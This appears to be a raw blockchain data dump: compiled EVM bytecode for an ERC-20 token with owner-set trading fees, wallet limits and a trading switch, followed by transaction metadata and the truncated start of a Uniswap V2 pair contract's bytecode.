bd14610646578063c02466681461066657600080fd5b80638da5cb5b146105685780638ea5220f14610586578063924de9b7146105a657806395d89b41146105c65780639c3b4fdc146105db57600080fd5b806349bd5a5e116101d25780636ddd1713116101965780636ddd1713146104a857806370a08231146104c8578063715018a6146104fe578063751039fc146105135780637571336a1461052857806389a302711461054857600080fd5b806349bd5a5e146103eb5780634a62bb651461041f5780634fbee193146104395780635009b8e4146104725780636a486a8e1461049257600080fd5b80631816467f116102195780631816467f1461035757806323b872dd1461037957806327c8f83514610399578063313ce567146103af5780633e063cf7146103cb57600080fd5b806306fdde0314610261578063095ea7b31461028c57806310d5de53146102bc5780631694505e146102ec57806318160ddd1461033857600080fd5b3661025c57005b600080fd5b34801561026d57600080fd5b506102766107c5565b6040516102839190611a75565b60405180910390f35b34801561029857600080fd5b506102ac6102a7366004611ae1565b610857565b6040519015158152602001610283565b3480156102c857600080fd5b506102ac6102d7366004611b0b565b60136020526000908152604090205460ff1681565b3480156102f857600080fd5b506103207f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610283565b34801561034457600080fd5b506002545b604051908152602001610283565b34801561036357600080fd5b50610377610372366004611b0b565b61086d565b005b34801561038557600080fd5b506102ac610394366004611b26565b6108fd565b3480156103a557600080fd5b5061032061dead81565b3480156103bb57600080fd5b5060405160128152602001610283565b3480156103d757600080fd5b506103776103e6366004611b62565b6109a7565b3480156103f757600080fd5b506103207f000000000000000000000000000000000000000000000000000000000000000081565b34801561042b57600080fd5b50600b546102ac9060ff1681565b34801561044557600080fd5b506102ac610454366004611b0b565b6001600160a01b031660009081526012602052604090205460ff1690565b34801561047e57600080fd5b5061037761048d366004611b62565b610a78565b34801561049e57600080fd5b50610349600f5481565b3480156104b457600080fd5b50600b546102ac9062010000900460ff1681565b3480156104d457600080fd5b506103496104e3366004611b0b565b6001600160a01b031660009081526020819052604090205490565b34801561050a57600080fd5b50610377610b55565b34801561051f57600080fd5b506102ac610b8b565b34801561053457600080fd5b50610377610543366004611b8b565b610bc8565b34801561055457600080fd5b50600654610320906001600160a01b031681565b34801561057457600080fd5b506005546001600160a01b0316610320565b34801561059257600080fd5b50600754610320906001600160a01b031681565b3480156105b257600080fd5b506103776105c1366004611bbe565b610c1d565b3480156105d257600080fd5b50610276610c63565b3480156105e757600080fd5b50610349600d5481565b3480156105fd57600080fd5b5061034960105481565b34801561061357600080fd5b506102ac610622366004611ae1565b610c72565b34801561063357600080fd5b50600b546102ac90610100900460ff1681565b34801561065257600080fd5b50610377610661366004611bd9565b610c7f565b34801561067257600080fd5b50610377610681366004611b8b565b610cc4565b34801561069257600080fd5b5061034960085481565b3480156106a857600080fd5b506102ac6106b7366004611b62565b610d4d565b3480156106c857600080fd5b50610349600c5481565b3480156106de57600080fd5b506103496106ed366004611bfb565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561072457600080fd5b5061034960095481565b34801561073a57600080fd5b50610349600e5481565b34801561075057600080fd5b5061037761075f366004611b0b565b610ea4565b34801561077057600080fd5b5061034960115481565b34801561078657600080fd5b50610377610795366004611bd9565b610f3f565b3480156107a657600080fd5b50610349600a5481565b3480156107bc57600080fd5b50610377610f84565b6060600380546107d490611c25565b80601f016020809104026020016040519081016040528092919081815260200182805461080090611c25565b801561084d5780601f106108225761010080835404028352916020019161084d565b820191906000526020600020905b81548152906001019060200180831161083057829003601f168201915b5050505050905090565b6000610864338484610fc1565b50600192915050565b6005546001600160a01b031633146108a05760405162461bcd60e51b815260040161089790611c60565b60405180910390fd5b6007546040516001600160a01b03918216918316907f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74390600090a3600780546001600160a01b0319166001600160a01b0392909216919091179055565b600061090a8484846110e5565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561098f5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610897565b61099c8533858403610fc1565b506001949350505050565b6005546001600160a01b031633146109d15760405162461bcd60e51b815260040161089790611c60565b670de0b6b3a76400006103e86109e660025490565b6109f1906005611cab565b6109fb9190611cca565b610a059190611cca565b811015610a605760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b6064820152608401610897565b610a7281670de0b6b3a7640000611cab565b600a5550565b6005546001600160a01b03163314610aa25760405162461bcd60e51b815260040161089790611c60565b670de0b6b3a76400006103e8610ab760025490565b610ac2906001611cab565b610acc9190611cca565b610ad69190611cca565b811015610b3d5760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b6064820152608401610897565b610b4f81670de0b6b3a7640000611cab565b60085550565b6005546001600160a01b03163314610b7f5760405162461bcd60e51b815260040161089790611c60565b610b896000611725565b565b6005546000906001600160a01b03163314610bb85760405162461bcd60e51b815260040161089790611c60565b50600b805460ff19169055600190565b6005546001600160a01b03163314610bf25760405162461bcd60e51b815260040161089790611c60565b6001600160a01b03919091166000908152601360205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610c475760405162461bcd60e51b815260040161089790611c60565b600b8054911515620100000262ff000019909216919091179055565b6060600480546107d490611c25565b60006108643384846110e5565b6005546001600160a01b03163314610ca95760405162461bcd60e51b815260040161089790611c60565b60108290556011819055610cbd8183611cec565b600f555050565b6005546001600160a01b03163314610cee5760405162461bcd60e51b815260040161089790611c60565b6001600160a01b038216600081815260126020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546000906001600160a01b03163314610d7a5760405162461bcd60e51b815260040161089790611c60565b620186a0610d8760025490565b610d92906001611cab565b610d9c9190611cca565b821015610e095760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610897565b6103e8610e1560025490565b610e20906005611cab565b610e2a9190611cca565b821115610e965760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610897565b50600981905560015b919050565b6005546001600160a01b03163314610ece5760405162461bcd60e51b815260040161089790611c60565b6001600160a01b038116610f335760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610897565b610f3c81611725565b50565b6005546001600160a01b03163314610f695760405162461bcd60e51b815260040161089790611c60565b600d829055600e819055610f7d8183611cec565b600c555050565b6005546001600160a01b03163314610fae5760405162461bcd60e51b815260040161089790611c60565b600b805462ffff00191662010100179055565b6001600160a01b0383166110235760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610897565b6001600160a01b0382166110845760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610897565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661110b5760405162461bcd60e51b815260040161089790611d04565b6001600160a01b0382166111315760405162461bcd60e51b815260040161089790611d49565b806111475761114283836000611777565b505050565b600b5460ff161561141f576005546001600160a01b0384811691161480159061117e57506005546001600160a01b03838116911614155b801561119257506001600160a01b03821615155b80156111a957506001600160a01b03821661dead14155b80156111bf5750600654600160a01b900460ff16155b1561141f57600b54610100900460ff16611257576001600160a01b03831660009081526012602052604090205460ff168061121257506001600160a01b03821660009081526012602052604090205460ff165b6112575760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610897565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b03161480156112b157506001600160a01b03821660009081526013602052604090205460ff16155b15611395576008548111156113265760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610897565b600a546001600160a01b03831660009081526020819052604090205461134c9083611cec565b11156113905760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610897565b61141f565b6001600160a01b03821660009081526013602052604090205460ff1661141f57600a546001600160a01b0383166000908152602081905260409020546113db9083611cec565b111561141f5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610897565b306000908152602081905260409020546009548110801590819061144b5750600b5462010000900460ff165b80156114615750600654600160a01b900460ff16155b801561149e57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b0316145b80156114c357506001600160a01b03851660009081526012602052604090205460ff16155b80156114e857506001600160a01b03841660009081526012602052604090205460ff16155b15611516576006805460ff60a01b1916600160a01b1790556115086118cc565b6006805460ff60a01b191690555b6006546001600160a01b03861660009081526012602052604090205460ff600160a01b90920482161591168061156457506001600160a01b03851660009081526012602052604090205460ff165b1561156d575060005b6000806000831561170f577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316886001600160a01b03161480156115bb57506000600f54115b15611621576115e060646115da600f548a61191390919063ffffffff16565b90611926565b9250600f54601154846115f39190611cab565b6115fd9190611cca565b9150600f54601054846116109190611cab565b61161a9190611cca565b90506116c0565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316896001600160a01b031614801561166457506000600c54115b156116c05761168360646115da600c548a61191390919063ffffffff16565b9250600c54600e54846116969190611cab565b6116a09190611cca565b9150600c54600d54846116b39190611cab565b6116bd9190611cca565b90505b82156116d1576116d1893085611777565b811561170257611702307f000000000000000000000000000000000000000000000000000000000000000084611777565b61170c8388611d8c565b96505b61171a898989611777565b505050505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b03831661179d5760405162461bcd60e51b815260040161089790611d04565b6001600160a01b0382166117c35760405162461bcd60e51b815260040161089790611d49565b6001600160a01b0383166000908152602081905260409020548181101561183b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610897565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290611872908490611cec565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118be91815260200190565b60405180910390a350505050565b30600090815260208190526040902054806118e45750565b6009546118f2906014611cab565b81111561190a57600954611907906014611cab565b90505b610f3c81611932565b600061191f8284611cab565b9392505050565b600061191f8284611cca565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061196757611967611da3565b6001600160a01b03928316602091820292909201015260065482519116908290600190811061199857611998611da3565b60200260200101906001600160a01b031690816001600160a01b0316815250506119e3307f000000000000000000000000000000000000000000000000000000000000000084610fc1565b600754604051635c11d79560e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000811692635c11d79592611a3f928792600092889291909116904290600401611db9565b600060405180830381600087803b158015611a5957600080fd5b505af1158015611a6d573d6000803e3d6000fd5b505050505050565b600060208083528351808285015260005b81811015611aa257858101830151858201604001528201611a86565b81811115611ab4576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610e9f57600080fd5b60008060408385031215611af457600080fd5b611afd83611aca565b946020939093013593505050565b600060208284031215611b1d57600080fd5b61191f82611aca565b600080600060608486031215611b3b57600080fd5b611b4484611aca565b9250611b5260208501611aca565b9150604084013590509250925092565b600060208284031215611b7457600080fd5b5035919050565b80358015158114610e9f57600080fd5b60008060408385031215611b9e57600080fd5b611ba783611aca565b9150611bb560208401611b7b565b90509250929050565b600060208284031215611bd057600080fd5b61191f82611b7b565b60008060408385031215611bec57600080fd5b50508035926020909101359150565b60008060408385031215611c0e57600080fd5b611c1783611aca565b9150611bb560208401611aca565b600181811c90821680611c3957607f821691505b60208210811415611c5a57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615611cc557611cc5611c95565b500290565b600082611ce757634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611cff57611cff611c95565b500190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b600082821015611d9e57611d9e611c95565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e095784516001600160a01b031683529383019391830191600101611de4565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122048ad3a7ffaa39fc0d9ecdfe5d80a82c5aad90e355e5e8984293b2352bb400adb64736f6c634300080a00334f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572
6080604052600436106102555760003560e01c80638da5cb5b11610139578063c8c8ebe4116100b6578063f11a24d31161007a578063f11a24d31461072e578063f2fde38b14610744578063f637434214610764578063f726de1b1461077a578063f8b45b051461079a578063fb201b1d146107b057600080fd5b8063c8c8ebe414610686578063d257b34f1461069c578063d85ba063146106bc578063dd62ed3e146106d2578063e2f456051461071857600080fd5b8063a0d82dc5116100fd578063a0d82dc5146105f1578063a9059cbb14610607578063bbc0c74214610627578063be2172bd14610646578063c02466681461066657600080fd5b80638da5cb5b146105685780638ea5220f14610586578063924de9b7146105a657806395d89b41146105c65780639c3b4fdc146105db57600080fd5b806349bd5a5e116101d25780636ddd1713116101965780636ddd1713146104a857806370a08231146104c8578063715018a6146104fe578063751039fc146105135780637571336a1461052857806389a302711461054857600080fd5b806349bd5a5e146103eb5780634a62bb651461041f5780634fbee193146104395780635009b8e4146104725780636a486a8e1461049257600080fd5b80631816467f116102195780631816467f1461035757806323b872dd1461037957806327c8f83514610399578063313ce567146103af5780633e063cf7146103cb57600080fd5b806306fdde0314610261578063095ea7b31461028c57806310d5de53146102bc5780631694505e146102ec57806318160ddd1461033857600080fd5b3661025c57005b600080fd5b34801561026d57600080fd5b506102766107c5565b6040516102839190611a75565b60405180910390f35b34801561029857600080fd5b506102ac6102a7366004611ae1565b610857565b6040519015158152602001610283565b3480156102c857600080fd5b506102ac6102d7366004611b0b565b60136020526000908152604090205460ff1681565b3480156102f857600080fd5b506103207f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610283565b34801561034457600080fd5b506002545b604051908152602001610283565b34801561036357600080fd5b50610377610372366004611b0b565b61086d565b005b34801561038557600080fd5b506102ac610394366004611b26565b6108fd565b3480156103a557600080fd5b5061032061dead81565b3480156103bb57600080fd5b5060405160128152602001610283565b3480156103d757600080fd5b506103776103e6366004611b62565b6109a7565b3480156103f757600080fd5b506103207f0000000000000000000000009123a50aa37d97221b7587727dc4211e77456e6181565b34801561042b57600080fd5b50600b546102ac9060ff1681565b34801561044557600080fd5b506102ac610454366004611b0b565b6001600160a01b031660009081526012602052604090205460ff1690565b34801561047e57600080fd5b5061037761048d366004611b62565b610a78565b34801561049e57600080fd5b50610349600f5481565b3480156104b457600080fd5b50600b546102ac9062010000900460ff1681565b3480156104d457600080fd5b506103496104e3366004611b0b565b6001600160a01b031660009081526020819052604090205490565b34801561050a57600080fd5b50610377610b55565b34801561051f57600080fd5b506102ac610b8b565b34801561053457600080fd5b50610377610543366004611b8b565b610bc8565b34801561055457600080fd5b50600654610320906001600160a01b031681565b34801561057457600080fd5b506005546001600160a01b0316610320565b34801561059257600080fd5b50600754610320906001600160a01b031681565b3480156105b257600080fd5b506103776105c1366004611bbe565b610c1d565b3480156105d257600080fd5b50610276610c63565b3480156105e757600080fd5b50610349600d5481565b3480156105fd57600080fd5b5061034960105481565b34801561061357600080fd5b506102ac610622366004611ae1565b610c72565b34801561063357600080fd5b50600b546102ac90610100900460ff1681565b34801561065257600080fd5b50610377610661366004611bd9565b610c7f565b34801561067257600080fd5b50610377610681366004611b8b565b610cc4565b34801561069257600080fd5b5061034960085481565b3480156106a857600080fd5b506102ac6106b7366004611b62565b610d4d565b3480156106c857600080fd5b50610349600c5481565b3480156106de57600080fd5b506103496106ed366004611bfb565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561072457600080fd5b5061034960095481565b34801561073a57600080fd5b50610349600e5481565b34801561075057600080fd5b5061037761075f366004611b0b565b610ea4565b34801561077057600080fd5b5061034960115481565b34801561078657600080fd5b50610377610795366004611bd9565b610f3f565b3480156107a657600080fd5b50610349600a5481565b3480156107bc57600080fd5b50610377610f84565b6060600380546107d490611c25565b80601f016020809104026020016040519081016040528092919081815260200182805461080090611c25565b801561084d5780601f106108225761010080835404028352916020019161084d565b820191906000526020600020905b81548152906001019060200180831161083057829003601f168201915b5050505050905090565b6000610864338484610fc1565b50600192915050565b6005546001600160a01b031633146108a05760405162461bcd60e51b815260040161089790611c60565b60405180910390fd5b6007546040516001600160a01b03918216918316907f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74390600090a3600780546001600160a01b0319166001600160a01b0392909216919091179055565b600061090a8484846110e5565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561098f5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610897565b61099c8533858403610fc1565b506001949350505050565b6005546001600160a01b031633146109d15760405162461bcd60e51b815260040161089790611c60565b670de0b6b3a76400006103e86109e660025490565b6109f1906005611cab565b6109fb9190611cca565b610a059190611cca565b811015610a605760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b6064820152608401610897565b610a7281670de0b6b3a7640000611cab565b600a5550565b6005546001600160a01b03163314610aa25760405162461bcd60e51b815260040161089790611c60565b670de0b6b3a76400006103e8610ab760025490565b610ac2906001611cab565b610acc9190611cca565b610ad69190611cca565b811015610b3d5760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b6064820152608401610897565b610b4f81670de0b6b3a7640000611cab565b60085550565b6005546001600160a01b03163314610b7f5760405162461bcd60e51b815260040161089790611c60565b610b896000611725565b565b6005546000906001600160a01b03163314610bb85760405162461bcd60e51b815260040161089790611c60565b50600b805460ff19169055600190565b6005546001600160a01b03163314610bf25760405162461bcd60e51b815260040161089790611c60565b6001600160a01b03919091166000908152601360205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610c475760405162461bcd60e51b815260040161089790611c60565b600b8054911515620100000262ff000019909216919091179055565b6060600480546107d490611c25565b60006108643384846110e5565b6005546001600160a01b03163314610ca95760405162461bcd60e51b815260040161089790611c60565b60108290556011819055610cbd8183611cec565b600f555050565b6005546001600160a01b03163314610cee5760405162461bcd60e51b815260040161089790611c60565b6001600160a01b038216600081815260126020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546000906001600160a01b03163314610d7a5760405162461bcd60e51b815260040161089790611c60565b620186a0610d8760025490565b610d92906001611cab565b610d9c9190611cca565b821015610e095760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610897565b6103e8610e1560025490565b610e20906005611cab565b610e2a9190611cca565b821115610e965760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610897565b50600981905560015b919050565b6005546001600160a01b03163314610ece5760405162461bcd60e51b815260040161089790611c60565b6001600160a01b038116610f335760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610897565b610f3c81611725565b50565b6005546001600160a01b03163314610f695760405162461bcd60e51b815260040161089790611c60565b600d829055600e819055610f7d8183611cec565b600c555050565b6005546001600160a01b03163314610fae5760405162461bcd60e51b815260040161089790611c60565b600b805462ffff00191662010100179055565b6001600160a01b0383166110235760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610897565b6001600160a01b0382166110845760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610897565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661110b5760405162461bcd60e51b815260040161089790611d04565b6001600160a01b0382166111315760405162461bcd60e51b815260040161089790611d49565b806111475761114283836000611777565b505050565b600b5460ff161561141f576005546001600160a01b0384811691161480159061117e57506005546001600160a01b03838116911614155b801561119257506001600160a01b03821615155b80156111a957506001600160a01b03821661dead14155b80156111bf5750600654600160a01b900460ff16155b1561141f57600b54610100900460ff16611257576001600160a01b03831660009081526012602052604090205460ff168061121257506001600160a01b03821660009081526012602052604090205460ff165b6112575760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610897565b7f0000000000000000000000009123a50aa37d97221b7587727dc4211e77456e616001600160a01b0316836001600160a01b03161480156112b157506001600160a01b03821660009081526013602052604090205460ff16155b15611395576008548111156113265760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610897565b600a546001600160a01b03831660009081526020819052604090205461134c9083611cec565b11156113905760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610897565b61141f565b6001600160a01b03821660009081526013602052604090205460ff1661141f57600a546001600160a01b0383166000908152602081905260409020546113db9083611cec565b111561141f5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610897565b306000908152602081905260409020546009548110801590819061144b5750600b5462010000900460ff165b80156114615750600654600160a01b900460ff16155b801561149e57507f0000000000000000000000009123a50aa37d97221b7587727dc4211e77456e616001600160a01b0316846001600160a01b0316145b80156114c357506001600160a01b03851660009081526012602052604090205460ff16155b80156114e857506001600160a01b03841660009081526012602052604090205460ff16155b15611516576006805460ff60a01b1916600160a01b1790556115086118cc565b6006805460ff60a01b191690555b6006546001600160a01b03861660009081526012602052604090205460ff600160a01b90920482161591168061156457506001600160a01b03851660009081526012602052604090205460ff165b1561156d575060005b6000806000831561170f577f0000000000000000000000009123a50aa37d97221b7587727dc4211e77456e616001600160a01b0316886001600160a01b03161480156115bb57506000600f54115b15611621576115e060646115da600f548a61191390919063ffffffff16565b90611926565b9250600f54601154846115f39190611cab565b6115fd9190611cca565b9150600f54601054846116109190611cab565b61161a9190611cca565b90506116c0565b7f0000000000000000000000009123a50aa37d97221b7587727dc4211e77456e616001600160a01b0316896001600160a01b031614801561166457506000600c54115b156116c05761168360646115da600c548a61191390919063ffffffff16565b9250600c54600e54846116969190611cab565b6116a09190611cca565b9150600c54600d54846116b39190611cab565b6116bd9190611cca565b90505b82156116d1576116d1893085611777565b811561170257611702307f0000000000000000000000009123a50aa37d97221b7587727dc4211e77456e6184611777565b61170c8388611d8c565b96505b61171a898989611777565b505050505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b03831661179d5760405162461bcd60e51b815260040161089790611d04565b6001600160a01b0382166117c35760405162461bcd60e51b815260040161089790611d49565b6001600160a01b0383166000908152602081905260409020548181101561183b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610897565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290611872908490611cec565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118be91815260200190565b60405180910390a350505050565b30600090815260208190526040902054806118e45750565b6009546118f2906014611cab565b81111561190a57600954611907906014611cab565b90505b610f3c81611932565b600061191f8284611cab565b9392505050565b600061191f8284611cca565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061196757611967611da3565b6001600160a01b03928316602091820292909201015260065482519116908290600190811061199857611998611da3565b60200260200101906001600160a01b031690816001600160a01b0316815250506119e3307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84610fc1565b600754604051635c11d79560e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d811692635c11d79592611a3f928792600092889291909116904290600401611db9565b600060405180830381600087803b158015611a5957600080fd5b505af1158015611a6d573d6000803e3d6000fd5b505050505050565b600060208083528351808285015260005b81811015611aa257858101830151858201604001528201611a86565b81811115611ab4576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610e9f57600080fd5b60008060408385031215611af457600080fd5b611afd83611aca565b946020939093013593505050565b600060208284031215611b1d57600080fd5b61191f82611aca565b600080600060608486031215611b3b57600080fd5b611b4484611aca565b9250611b5260208501611aca565b9150604084013590509250925092565b600060208284031215611b7457600080fd5b5035919050565b80358015158114610e9f57600080fd5b60008060408385031215611b9e57600080fd5b611ba783611aca565b9150611bb560208401611b7b565b90509250929050565b600060208284031215611bd057600080fd5b61191f82611b7b565b60008060408385031215611bec57600080fd5b50508035926020909101359150565b60008060408385031215611c0e57600080fd5b611c1783611aca565b9150611bb560208401611aca565b600181811c90821680611c3957607f821691505b60208210811415611c5a57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615611cc557611cc5611c95565b500290565b600082611ce757634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611cff57611cff611c95565b500190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b600082821015611d9e57611d9e611c95565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e095784516001600160a01b031683529383019391830191600101611de4565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122048ad3a7ffaa39fc0d9ecdfe5d80a82c5aad90e355e5e8984293b2352bb400adb64736f6c634300080a0033
1
19,493,282
c7775c2a88815b45ebd12e9d5d483106c439d3946d0f47b058d400aaa37e7ad3
4233986babaf5ae03a54612481e808fbf63857ed67495b1c4d7c2e03e61656c3
4c1049824394f18f4a27ca9e9593daaaf795d686
5c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
9123a50aa37d97221b7587727dc4211e77456e61
60806040526001600c5534801561001557600080fd5b506040514690806052612d228239604080519182900360520182208282018252600a8352692ab734b9bbb0b8102b1960b11b6020938401528151808301835260018152603160f81b908401528151808401919091527fbfcc8ef98ffbf7b6c3fec7bf5185b566b9863e35a9d83acd49ad6824b5969738818301527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606082015260808101949094523060a0808601919091528151808603909101815260c09094019052825192019190912060035550600580546001600160a01b03191633179055612c1d806101056000396000f3fe608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffff